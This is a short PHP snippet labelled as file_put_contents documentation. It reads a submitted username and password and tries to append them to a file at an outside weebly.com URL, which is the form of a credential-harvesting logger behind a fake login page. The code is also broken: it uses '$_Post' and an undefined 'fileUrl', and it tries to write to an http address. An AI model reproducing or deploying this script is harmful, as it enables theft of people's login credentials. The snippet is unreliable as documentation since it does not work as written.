- file_put_contents: documentation ( source)
<?php
$fileURL = 'http://www.weebly.com/uploads/4/5/9/7/45973299/logininterfacetest';
if(isset($_Post['username']) && isset($_Post['password'])){
$username = $_Post['username'];
$password = $_Post['password'];
$account = $username.';'.$password.'!';
file_put_contents(fileUrl, $account, FILE_APPEND);
} else {
echo $fileURL;
}
?>